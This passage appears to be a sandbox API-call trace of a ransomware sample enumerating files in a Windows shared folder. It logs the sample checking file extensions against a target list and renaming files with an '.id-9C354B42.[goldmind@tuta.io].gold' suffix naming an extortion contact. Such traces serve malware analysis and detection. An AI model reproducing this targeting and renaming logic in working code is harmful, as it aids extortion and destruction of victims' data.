shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.310] lstrlenW (lpString=".doc") returned 4 [0048.310] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.310] lstrlenW (lpString=".docx") returned 5 [0048.310] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.310] lstrlenW (lpString=".pdf") returned 4 [0048.310] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.310] lstrlenW (lpString=".xls") returned 4 [0048.310] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.310] lstrlenW (lpString=".xlsx") returned 5 [0048.310] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.310] lstrlenW (lpString=".ppt") returned 4 [0048.310] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.310] lstrlenW (lpString=".zip") returned 4 [0048.310] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.310] lstrlenW (lpString=".rar") returned 4 [0048.310] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.310] lstrlenW (lpString=".bz2") returned 4 [0048.310] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.310] lstrlenW (lpString=".7z") returned 3 [0048.310] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.310] lstrlenW (lpString=".dbf") returned 4 [0048.310] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.310] lstrlenW (lpString=".1cd") returned 4 [0048.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString=".jpg") returned 4 [0048.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString=".doc") returned 4 [0048.311] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.311] lstrlenW (lpString=".docx") returned 5 [0048.311] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.311] lstrlenW (lpString=".pdf") returned 4 [0048.311] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.311] lstrlenW (lpString=".xls") returned 4 [0048.311] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.311] lstrlenW (lpString=".xlsx") returned 5 [0048.311] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.311] lstrlenW (lpString=".ppt") returned 4 [0048.311] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString=".zip") returned 4 [0048.311] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.311] lstrlenW (lpString=".rar") returned 4 [0048.311] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.311] lstrlenW (lpString=".bz2") returned 4 [0048.311] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.311] lstrlenW (lpString=".7z") returned 3 [0048.311] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString=".dbf") returned 4 [0048.311] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString=".1cd") returned 4 [0048.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0048.311] lstrlenW (lpString=".jpg") returned 4 [0048.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.311] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0048.311] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0048.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.312] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=193024) returned 1 [0048.312] CloseHandle (hObject=0x19c) returned 1 [0048.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0048.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.312] lstrlenW (lpString=".doc") returned 4 [0048.312] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.312] lstrlenW (lpString=".docx") returned 5 [0048.312] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.312] lstrlenW (lpString=".pdf") returned 4 [0048.312] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.312] lstrlenW (lpString=".xls") returned 4 [0048.312] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.312] lstrlenW (lpString=".xlsx") returned 5 [0048.312] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.312] lstrlenW (lpString=".ppt") returned 4 [0048.312] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.312] lstrlenW (lpString=".zip") returned 4 [0048.312] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.312] lstrlenW (lpString=".rar") returned 4 [0048.312] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.312] lstrlenW (lpString=".bz2") returned 4 [0048.312] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString=".7z") returned 3 [0048.313] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".dbf") returned 4 [0048.313] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".1cd") returned 4 [0048.313] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".jpg") returned 4 [0048.313] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".doc") returned 4 [0048.313] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString=".docx") returned 5 [0048.313] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0048.313] lstrlenW (lpString=".pdf") returned 4 [0048.313] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.313] lstrlenW (lpString=".xls") returned 4 [0048.313] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.313] lstrlenW (lpString=".xlsx") returned 5 [0048.313] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0048.313] lstrlenW (lpString=".ppt") returned 4 [0048.313] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".zip") returned 4 [0048.313] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.313] lstrlenW (lpString=".rar") returned 4 [0048.313] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.313] lstrlenW (lpString=".bz2") returned 4 [0048.313] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString=".7z") returned 3 [0048.313] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".dbf") returned 4 [0048.313] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".1cd") returned 4 [0048.313] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0048.313] lstrlenW (lpString=".jpg") returned 4 [0048.313] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.314] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0048.314] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0048.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.314] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=3584) returned 1 [0048.314] CloseHandle (hObject=0x19c) returned 1 [0048.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0048.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.314] lstrlenW (lpString=".doc") returned 4 [0048.314] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.314] lstrlenW (lpString=".docx") returned 5 [0048.314] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.314] lstrlenW (lpString=".pdf") returned 4 [0048.314] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.314] lstrlenW (lpString=".xls") returned 4 [0048.314] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.314] lstrlenW (lpString=".xlsx") returned 5 [0048.314] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.315] lstrlenW (lpString=".ppt") returned 4 [0048.315] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".zip") returned 4 [0048.315] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString=".rar") returned 4 [0048.315] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString=".bz2") returned 4 [0048.315] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.315] lstrlenW (lpString=".7z") returned 3 [0048.315] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".dbf") returned 4 [0048.315] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".1cd") returned 4 [0048.315] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".jpg") returned 4 [0048.315] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".doc") returned 4 [0048.315] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.315] lstrlenW (lpString=".docx") returned 5 [0048.315] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.315] lstrlenW (lpString=".pdf") returned 4 [0048.315] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString=".xls") returned 4 [0048.315] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString=".xlsx") returned 5 [0048.315] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.315] lstrlenW (lpString=".ppt") returned 4 [0048.315] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".zip") returned 4 [0048.315] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString=".rar") returned 4 [0048.315] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.315] lstrlenW (lpString=".bz2") returned 4 [0048.315] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.315] lstrlenW (lpString=".7z") returned 3 [0048.315] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.315] lstrlenW (lpString=".dbf") returned 4 [0048.315] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.316] lstrlenW (lpString=".1cd") returned 4 [0048.316] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0048.316] lstrlenW (lpString=".jpg") returned 4 [0048.316] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.316] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0048.316] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0048.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.316] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=3584) returned 1 [0048.316] CloseHandle (hObject=0x19c) returned 1 [0048.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0048.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.316] lstrlenW (lpString=".doc") returned 4 [0048.316] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.316] lstrlenW (lpString=".docx") returned 5 [0048.317] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.317] lstrlenW (lpString=".pdf") returned 4 [0048.317] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".xls") returned 4 [0048.317] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".xlsx") returned 5 [0048.317] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.317] lstrlenW (lpString=".ppt") returned 4 [0048.317] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString=".zip") returned 4 [0048.317] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".rar") returned 4 [0048.317] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".bz2") returned 4 [0048.317] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.317] lstrlenW (lpString=".7z") returned 3 [0048.317] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString=".dbf") returned 4 [0048.317] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString=".1cd") returned 4 [0048.317] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString=".jpg") returned 4 [0048.317] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString=".doc") returned 4 [0048.317] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.317] lstrlenW (lpString=".docx") returned 5 [0048.317] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.317] lstrlenW (lpString=".pdf") returned 4 [0048.317] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".xls") returned 4 [0048.317] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".xlsx") returned 5 [0048.317] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.317] lstrlenW (lpString=".ppt") returned 4 [0048.317] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.317] lstrlenW (lpString=".zip") returned 4 [0048.317] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.317] lstrlenW (lpString=".rar") returned 4 [0048.318] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.318] lstrlenW (lpString=".bz2") returned 4 [0048.318] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.318] lstrlenW (lpString=".7z") returned 3 [0048.318] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.318] lstrlenW (lpString=".dbf") returned 4 [0048.318] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0048.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.318] lstrlenW (lpString=".1cd") returned 4 [0048.318] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0048.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0048.318] lstrlenW (lpString=".jpg") returned 4 [0048.318] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0048.318] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0048.318] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0048.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.422] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=4096) returned 1 [0048.422] CloseHandle (hObject=0x178) returned 1 [0048.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0048.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0048.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0048.422] lstrlenW (lpString=".doc") returned 4 [0048.422] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0048.422] lstrlenW (lpString=".docx") returned 5 [0048.422] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0048.422] lstrlenW (lpString=".pdf") returned 4 [0048.422] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0048.422] lstrlenW (lpString=".xls") returned 4 [0048.422] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0048.422] lstrlenW (lpString=".xlsx") returned 5 [0048.422] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0048.422] lstrlenW (lpString=".ppt") returned 4 [0048.422] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0048.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0048.422] lstrlenW (lpString=".zip") returned 4 [0048.422] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0048.422] lstrlenW (lpString=".rar") returned 4 [0048.422] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0048.422] lstrlenW (lpString=".bz2") returned 4 [0048.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0048.422] lstrlenW (lpString=".7z") returned 3 [0048.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0048.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0048.423] lstrlenW (lpString=".dbf") returned 4 [0048.423] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0049.846] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 